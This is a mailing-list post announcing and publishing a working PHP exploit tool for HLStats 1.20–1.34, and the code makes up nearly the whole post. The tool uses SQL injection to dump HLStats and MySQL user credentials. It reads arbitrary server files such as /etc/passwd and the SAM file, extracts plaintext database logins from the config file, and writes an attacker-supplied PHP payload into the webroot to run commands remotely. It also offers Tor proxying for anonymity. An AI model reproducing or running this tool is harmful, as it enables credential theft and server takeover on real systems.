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HLStats Remote SQL Injection Exploit
From: nospam () google com
Date: 25 Dec 2006 16:56:20 -0000

Hlstats is more than 5 years old.  HLstats has been downloaded more than 270,000 from http://sf.net.   Nothing more 
than absolutely benign XSS has been reported for this application,  until NOW. 

Merry Christmass,
--Michael Brooks 

Homepage:
http://sourceforge.net/projects/hlstats/

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<br><b>
<?php
/*
Live Exploit Code
SQL Inection + Path Disclosure
Affects HLStats HLStats <=1.34  and Hlstats >= 1.20
works with magic_quotes_gpc=On
by Michael Brooks
*/

 print "<title>HLStats SQL Injection Exploit</title>
 <body bgcolor='#009900'>
 <font  color='#FF0000'>
<b>--------------------------------------------------------------------------------------------------------------------------------------------></b><br><br>
<center><b> <br>
Welcome To HLstats Exploit code.<br><br>
</b></center> 
<br> 
SQL Inection + Path Disclosure<br>
Affects Hlstats >= 1.20 to HLStats <=1.34(current)<br>
Tested on Linux and Windows<br>
works with magic_quotes_gpc=On!<br>
HLStats has gone though 5 years with no exploits so this is a Birthday Present!<br>
Merry Christmass!<br>
By Michael Brooks<br>
<br>
<b>--------------------------------------------------------------------------------------------------------------------------------------------></b><br><br>
";
 
 print "
        <form action='".$_SERVER['PHP_SELF']."' method='post'>
        <b>Target:</b><br>
        <input type='text' name='target' size=32><br>
        (hint: where the login form is. example: http://domain.com/path/hlstats.php )<br>
        <br><b>Proxy:</b>(ip:port or name:pass () ip:port)<br>
        <input type='text' name='proxy' size=32><br>
        (example: 127.0.0.1:8118   Use <a href='http://tor.eff.org&apos;>Tor</a>+<a 
href='http://www.privoxy.org/&apos;>Privoxy</a>. )<br>
        <br><br>
        If nothing is changed below this line then the exploit will attempt to get the database login information in 
plain text.
<b>--------------------------------------------------------------------------------------------------------------------------------------------></b><br><br>
        <H1>ATTACKS:</H1>
        <br>
        <b>Database Selects:</b><br>
        <br>
        OBTIAN HLStats logins:<br>
        <input type='submit' name='button' value='HLStats_Logins'>(Passwords are stored as MD5 hashs, use: <a 
href='http://www.milw0rm.com/cracker/insert.php&apos;>Milw0rm's MD5 Cracker</a>)<br>
                
                  OBTIAN mysql.user logins:<br>
                <input type='submit' name='button' value='Mysql_Logins'><br>
        <br>

        <br>
        <b>File IO:</b><br><br>
        <b>Path Disclosure</b><br>
        <input type='submit' name='button' value='Path'><br>
        <br>
        <b>Plain Text Database Login Information</b><br>
        <input type='submit' name='button' value='Read_Login'>
        (This will attempt to read the configuration file for hlstats and dump the PLAIN TEXT database login 
information.)<br>
        <br>
        <b>Read Other File</b><br>
        <input type='submit' name='button' value='Read_File'>
        <input type='text' name='read_file' size=50>
        <br>example: /etc/passwd<br>
        OR for windows based systems: C:\\\\WINDOWS\\\\repair\\\\sam<br>
        <br><b>attempt payload:</b>(WARNING,  NO PROXY IS USED FOR UPLOADING PAYLOAD)<br>
        <input type='submit'  name='button' value='Upload'>
         &lt?php <input type='text' name='payload' size=50>?&gt <br>
        example: system('netstat'); <br>
        
        </form>
        
<br><b>--------------------------------------------------------------------------------------------------------------------------------------------></b><br>
        ";

 //generic http class
class http{
        var $proxy_ip='', $proxy_port='', $proxy_name='', $proxy_pass='';
        
        function http_gpc_send($loc ,$cookie="", $postdata = "") { 
                 //overload function polymorphism between gets and posts
                 $url=parse_url($loc);
                 if(!isset($url['port'])){
                   $url['port']=80;
                }
                //$ua=$_SERVER['HTTP_USER_AGENT'];
                $ua='GPC/.01';
                 if($this->proxy_ip!=''&&$this->proxy_port!=''){
                        $fp = pfsockopen( $this->proxy_ip, $this->proxy_port, &$errno, &$errstr, 120 );
                        $url['path']=$url['host'].':'.$url['port'].$url['path'];
                 }else{
                        $fp = fsockopen( $url['host'], $url['port'], &$errno, &$errstr, 120 );
                 }
                 
                 if( !$fp ) {
                    print "$errstr ($errno)<br>\nn";
                 } else {
                    if( $postdata=='' ) {
                        fputs( $fp, "GET ".$url['path']."?".$url['query']." HTTP/1.1\r\n" );
                    } else {
                        fputs( $fp, "POST ".$url['path']."?".$url['query']." HTTP/1.1\r\n" );
                    }
                    
                    if($this->proxy_name!=''&&$this->proxy_pass!=''){
                        fputs($fp, "Proxy-Authorization: Basic 
".base64_encode($this->proxy_name.":".$this->proxy_pass)."\r\n\r\n");
                    }

                    fputs($fp, "Host: ".$url['host'].":".$url['port']."\r\n");
                    fputs( $fp, "User-Agent: ".$ua."\r\n" );
                    fputs( $fp, "Accept: text/plain\r\n" );
                    fputs( $fp,"Connection: Close\r\n" );
                    if($cookie!=''){ 
                        fputs( $fp, "Cookie: ".$cookie."\r\n" );
                    }
                    if( $postdata!='' ) {
                        $strlength = strlen( $postdata );
                        fputs( $fp, "Content-type: application/x-www-form-urlencoded\r\n" );
                        fputs( $fp, "Content-length: ".$strlength."\r\n\r\n" );
                        fputs( $fp, $postdata);
                    }
                    fputs( $fp, "\n\n" );
                    
                   $output = "";
                   while( !feof( $fp ) ) {
                        $output .= fgets( $fp, 1024 );
                   }
                    fclose( $fp );
                 }
                 return $output;
        }
        
        function proxy($proxy){ //user:pass () ip:port
                $proxyAuth=explode('@',$proxy);
                if(isset($proxyAuth[1])){
                        $login=explode(':',$proxyAuth[0]);
                        $this->proxy_name=$login[0];
                        $this->proxy_pass=$login[1];
                        
                        $addr=explode(':',$proxyAuth[1]);
                        $this->proxy_ip=$addr[0];
                        $this->proxy_port=$addr[1];
                }else{
                        $addr=explode(':',$proxy);
                        $this->proxy_ip=$addr[0];
                        $this->proxy_port=$addr[1];
                }
        }
        
        function get($url, $cookie=''){
                return $this->http_gpc_send($url, $cookie);
        }

        function post($url, $cookie='', $post=''){
                return $this->http_gpc_send($url,$cookie,$post);
        }
        
        function getServer($url){
                $resp=$this->http_gpc_send($url);
                $header=explode("Server: ",$resp);
                $server=explode("\n",$header[1]);
                return $server[0];
        }
}

//reuseable functions
function getPath($html){
        $path='';
        $resp=explode("array given in <b>",$html);
        if(isset($resp[1])){
                $resp = explode("</b>",$resp[1]);
        }else{
                $resp[0]=false;
        }
        return $resp[0];
}

function charEncode($string){
        $char="char(";
        $size=strlen($string);
        for($x=0;$x<$size;$x++){
                $char.=ord($string[$x]).", ";
        }
        $char[strlen($char)-2]=')%00';
        return $char;
}

function hex_encode($my_string)
{
$encoded="0x";
  for ($k=0; $k<=strlen($my_string)-1; $k++)
  {$temp=dechex(ord($my_string[$k]));
    if (strlen($temp)==1) {$temp="0".$temp;}
    $encoded.=$temp;
  }
  return $encoded;
} 


//hlstats specific functions
function hl_get_sql($resp){
        //print htmlspecialchars($resp);
        $tmp=explode('<table ',$resp);
        array_pop($tmp);
        $last=array_pop($tmp);
        $tbl=explode('</table>',$last);
        $table=$tbl[0];//ITS MY TABLE NOW!
        if(strstr($table,'Victim')&&strstr($table,'Times Killed')){
                $table=str_replace('border=0','border=1',$table);
                $table=str_replace('#002E8A','#000000',$table);
                $table=str_replace('#15154D','#CCCCCC',$table);
                $table=str_replace('#161652','#CCCCCC',$table);
                $table='<table '.$table.'</table>';
        }else{
                $table=false;
        }
        return $table;
}

function get_logins($addr){
        $http=new http();
        $data='';
        $resp=$http->get($addr."?mode=playerinfo&player=1&playerdata[lastName][]=1");
        $path=getPath($resp);
        $readfile=hex_encode($path);
        $pay="killLimit=99999%20union%20select%20load_file($readfile),1,1,1,1%20--%20";
        $resp=$http->post($addr."?mode=playerinfo&player=1",'',$pay);
                
        $tmp=explode("define(&quot;DB_NAME&quot;, &quot;",$resp);
        $tmp=explode("&quot;",$tmp[1]);
        $data[db]=$tmp[0];

        $tmp=explode("define(&quot;DB_USER&quot;, &quot;",$resp);
        $tmp=explode("&quot;",$tmp[1]);
        $data[name]=$tmp[0];
        
        $tmp=explode("define(&quot;DB_PASS&quot;, &quot;",$resp);
        $tmp=explode("&quot;",$tmp[1]);
        $data[pass]=$tmp[0];
        
        $tmp=explode("define(&quot;DB_ADDR&quot;, &quot;",$resp);
        $tmp=explode("&quot;",$tmp[1]);
        $data[addr]=$tmp[0];
        
        $tmp=explode("define(&quot;DB_TYPE&quot;, &quot;",$resp);
        $tmp=explode("&quot;",$tmp[1]);
        $data[type]=$tmp[0];
        
        return $data;
}

//The table prefix is needed to union select the hlstats logins
function get_prefix($attack){
        $prefix=false;
        $http=new http();
        //hex_encode is used instead of quote marks
        
$payload="killLimit=1000%20union%20select%20TABLE_NAME,TABLE_SCHEMA,1,1,1%20from%20information_schema.TABLES%20WHERE%20TABLE_NAME%20LIKE%20".hex_encode("%events_playerplayeractions")."%23";
        $resp=$http->post($attack."?mode=playerinfo&player=1",'',$payload);
        $mid=explode('events_playerplayeractions',$resp);
        if(is_array($mid)){
                foreach($mid as $m){
                        $pre= explode('>',$m);
                        $fix=array_pop($pre);
                        if(is_array($prefix)){
                                if(!in_array($fix,$prefix)){
                                        $prefix[]=trim($fix);
                                }
                        }else if($prefix!=$fix){
                                print($fix);
                                $prefix[]=trim($fix);
                        }
                }
                if(is_array($prefix)){
                        $v=array_pop($prefix);
                        if(trim($v)!='0'){//damn that zero!!
                                array_push($prefix,$v);
                        }
                }
        }else{
                $prefix=false;
        }
        return($prefix);
}

if(isset($_REQUEST['target'])&&$_REQUEST['target']!=''){
        //this exploit can take its sweet time. 
        set_time_limit(0);
        $http=new http();
        $addr=explode('?',$_REQUEST['target']);
        $addr=$addr[0];
        if(isset($_REQUEST['proxy'])){
                $http->proxy($_REQUEST['proxy']);
        } 
        
        switch($_REQUEST['button']){
                case 'HLStats_Logins':
                        $table=false;
                        $prefix=get_prefix($addr);
                        //print_r($prefix);
                        foreach($prefix as $pre){
                                if(!$table){
                                        print "trying table prefix:$pre<br>";
                                        //no comments are used in this payload,  instead a second union select is used 
to finnish the query.
                                        
$pay="killLimit=1000%20union%20select%20username,password,acclevel,1,playerId%20from%20".$pre."Users%20UNION%20SELECT%201,1,1,1,1%20FROM%20".$pre."Players%20WHERE%201=0";
                                        $resp=$http->post($addr."?mode=playerinfo&player=1",'',$pay);
                                        $table=hl_get_sql($resp);//  
                                }
                        }
                        if(!$table&&@!in_array('hlstats_',$prefix)){//ooah no the exploit has failed so far. 
                                        $pre="hlstats_";//try the default prefix
                                        print "trying table prefix:$pre<br>";
                                        
$pay="killLimit=1000%20union%20select%20username,password,acclevel,1,playerId%20from%20".$pre."Users%20UNION%20SELECT%201,1,1,1,1%20FROM%20".$pre."Players%20WHERE%201=0";
                                        $resp=$http->post($addr."?mode=playerinfo&player=1",'',$pay);
                                        $table=hl_get_sql($resp);//                     
                        }
                        if($table){
                                $table=str_replace('Victim','username',$table);
                                $table=str_replace('Kills per Death','playerId',$table);
                                $table=str_replace('Deaths by','acclevel',$table);
                                $table=str_replace('Times Killed','password',$table);
                                $table=str_replace('Rank','Count',$table);
                                print "<br>$table";
                        }
                        break;
                case 'Mysql_Logins':
                        //a comment is used so the table prefix doesn't have to be known;  this is simpler,  less to go 
wrong.  
                        
$pay="killLimit=1000%20union%20select%20user,password,File_priv,1,Host%20%20from%20mysql.user%20--%20";
                        $resp=$http->post($addr."?mode=playerinfo&player=1",'',$pay);
                        $table=hl_get_sql($resp);
                        $table=str_replace('Victim','User',$table);
                        $table=str_replace('Kills per Death','Host',$table);
                        $table=str_replace('Deaths by','File_priv',$table);
                        $table=str_replace('Times Killed','Password',$table);
                        $table=str_replace('Rank','Count',$table);
                        print "<br>$table";
                break;
                case 'Read_File':
                        $readfile=hex_encode($_REQUEST[read_file]);
                        $pay="killLimit=99999%20union%20select%20load_file($readfile),1,1,1,1%20--%20";
                        $resp=$http->post($addr."?mode=playerinfo&player=1",'',$pay);                   
                        $tmp=explode('alt="player.gif"><b>',$resp);
                        $data=explode("</font>",$tmp[1]);
                        $data=$data[0];
                        //this might be a bad thing:
                        $data=preg_replace('<br />','',$data);
                        print 'data'.$data;             
                break;
                case 'Path':
                        $resp=$http->get($addr."?mode=playerinfo&player=1&playerdata[lastName][]=1");
                        $path=getPath($resp );
                        print "Path Disclosure:$path<br>";
                break;  
                case 'Read_Login':
                        $data=get_logins($addr);
                        foreach($data as $var=>$val){
                                   $tmp=explode('&quot',$val);
                                        $data[$var]=$tmp[0];
                                        print "<br>".$var.":".$tmp[0];
                        }       
                break;
                case 'Upload':
                        $resp=$http->get($addr."?mode=playerinfo&player=1&playerdata[lastName][]=1");
                        $path=getPath($resp );
                        $data=get_logins($addr);
                        print $path."<br>";
                        $tar=explode('/',$_REQUEST['target']);
                        $paylink=$tar;
                        array_pop($paylink);
                        $paylink=implode('/',$paylink);
                        if(strstr($path,':')){//if windows
                                print "Windows Sytem<br>";
                                $temp=explode('\\',$path);
                        }else{//else *nix
                                print "*nix System<br>";
                                $temp=explode('/',$path);
                        }
                        array_pop($temp);
                        $path=implode('/',$temp);
                        mysql_connect($tar[2],$data[name],$data[pass]) or die(mysql_error());
                        $name="data".rand();//rand is used so that this attack can be run multiple times.
                        $sql="SELECT '<?php ".$_REQUEST[payload]."?>' INTO OUTFILE '$path/$name.php'";
                        print "<br><a href='$paylink/$name.php'><b> Execute Payload </b></a>";
                        mysql_query($sql) or die(mysql_error());
                break;
                default:
                        print 'No Attack!';
                break;
        }
}else{
        Print "No Target.";
}
?><br>--------------------------------------------------------------------------------------------------------------------------------------------><br>
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